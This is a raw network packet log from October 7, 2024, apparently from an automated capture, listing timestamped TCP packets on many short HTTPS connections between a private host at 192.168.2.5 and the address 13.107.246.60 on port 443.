Oct 7, 2024 17:22:59.129940033 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.136687040 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.136936903 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.136998892 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.137162924 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.137187004 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.137208939 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.137217045 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.139868975 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.139909983 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.140500069 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.140722990 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.140739918 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.280513048 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.281030893 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.281080008 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.281610012 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.281622887 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.383435965 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.383893013 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.383954048 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.384253025 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.384282112 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.384299994 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.384308100 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.387408972 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.387454033 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.387577057 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.387681961 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.387700081 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.481996059 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.483133078 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.483163118 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.483763933 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.483771086 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.484580994 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.484908104 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.484941959 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.485289097 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.485296011 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.576957941 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.577034950 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.577219963 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.577440977 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.577476025 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.577491045 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.577498913 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.580918074 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.580976963 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.581118107 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.581245899 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.581254005 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.581439018 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.581470966 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.581532955 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.581532955 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.581578970 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.581682920 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.581707001 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.581721067 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.581732035 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.583694935 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.583726883 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.584734917 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.584851980 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.584862947 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.050813913 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.051704884 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.052423000 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.052448988 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.052520990 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.052551031 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.052895069 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.052913904 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.053072929 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.053078890 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.149765968 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.149818897 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.149950981 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.150254965 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.150254965 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.150254965 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.153141975 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.153182983 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.153283119 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.153446913 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.153460979 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.153896093 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.154035091 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.154143095 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.154340029 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.154340029 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.154361963 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.154371977 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.156757116 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.156769037 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.156838894 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.156963110 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.156975031 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.223067045 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.225271940 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.225720882 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.225735903 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.225866079 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.225898981 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.226376057 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.226381063 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.226722002 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.226728916 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.231945992 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.233831882 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.233850002 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.234169006 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.234183073 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.318700075 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.318733931 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.318790913 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.318794966 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.318852901 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.319145918 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.319160938 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.319170952 CEST	49968	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.319176912 CEST	443	49968	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322114944 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.322132111 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322173119 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322196960 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322221041 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.322314978 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.322345018 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322401047 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.322413921 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322515011 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322552919 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.322552919 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.322577953 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.322597980 CEST	49967	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.322604895 CEST	443	49967	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.324774981 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.324806929 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.324980021 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.325120926 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.325139999 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.327552080 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.327610016 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.327744961 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.327891111 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.327908993 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.328002930 CEST	49966	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.328011036 CEST	443	49966	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.331064939 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.331100941 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.331316948 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.331435919 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.331445932 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.467751026 CEST	49965	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.467782021 CEST	443	49965	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.772903919 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.773308992 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.773325920 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.773792982 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.773799896 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.802706003 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.803205967 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.803221941 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.803685904 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.803690910 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.870764971 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.870798111 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.870840073 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.870862007 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.870969057 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.871010065 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.871108055 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.871124029 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.871135950 CEST	49969	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.871143103 CEST	443	49969	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.873785973 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.873867035 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:00.873945951 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.874263048 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:00.874291897 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.126771927 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.126792908 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.126849890 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.126888990 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.126934052 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.127121925 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.127135038 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.127150059 CEST	49970	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.127157927 CEST	443	49970	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.130017996 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.130067110 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.130131960 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.130264997 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.130280972 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.132919073 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.132926941 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.133052111 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.133441925 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.133471012 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.133475065 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.133491993 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.133683920 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.133712053 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.133924961 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.133933067 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.134079933 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.134088039 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.134222031 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.134232044 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.232835054 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.232907057 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.232964993 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.233112097 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.233131886 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.233155012 CEST	49971	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.233160973 CEST	443	49971	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.234755039 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.234818935 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.234870911 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.234999895 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.235013962 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.235023975 CEST	49972	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.235030890 CEST	443	49972	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.235901117 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.235949993 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.236215115 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.236215115 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.236264944 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.236387968 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.236593008 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.236664057 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.236701965 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.236721039 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.236732960 CEST	49973	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.236738920 CEST	443	49973	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.237104893 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.237143993 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.237214088 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.237370014 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.237385988 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.238740921 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.238749027 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.238809109 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.238919973 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.238930941 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.502017021 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.502574921 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.502629042 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.503070116 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.503083944 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.598769903 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.599711895 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.599802971 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.599802971 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.599849939 CEST	49974	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.599872112 CEST	443	49974	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.602899075 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.602938890 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.603355885 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.603355885 CEST	49979	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.603394032 CEST	443	49979	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.761847973 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.766505003 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.766541958 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.767049074 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.767054081 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.846911907 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.851046085 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.851080894 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.851414919 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.851424932 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.862533092 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.862586975 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.862682104 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.862700939 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.862718105 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.862736940 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.862761021 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.862854958 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.862869978 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.862880945 CEST	49975	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.862885952 CEST	443	49975	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.865297079 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.865346909 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.865438938 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.865561962 CEST	49980	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.865577936 CEST	443	49980	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.874980927 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.876571894 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.876609087 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.876959085 CEST	49978	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.876966000 CEST	443	49978	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.890638113 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.893387079 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.893410921 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.893799067 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.893805027 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.945616007 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.945641041 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.945698023 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.946012020 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.946012020 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.946161985 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.946161985 CEST	49976	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.946185112 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.946201086 CEST	443	49976	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.949155092 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.949224949 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.949316025 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.949485064 CEST	49981	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.949500084 CEST	443	49981	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.996479988 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.996555090 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.996608973 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.996659994 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.996697903 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:01.996714115 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:01.996738911 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.084311962 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.084448099 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.084481955 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.086239100 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.087861061 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.087915897 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.087944984 CEST	49977	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.087960958 CEST	443	49977	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.090856075 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.090914965 CEST	443	49982	13.107.246.60	192.168.2.5
Oct 7, 2024 17:23:02.090987921 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.094409943 CEST	49982	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:23:02.094427109 CEST	443	49982	13.107.246.60	192.168.2.5
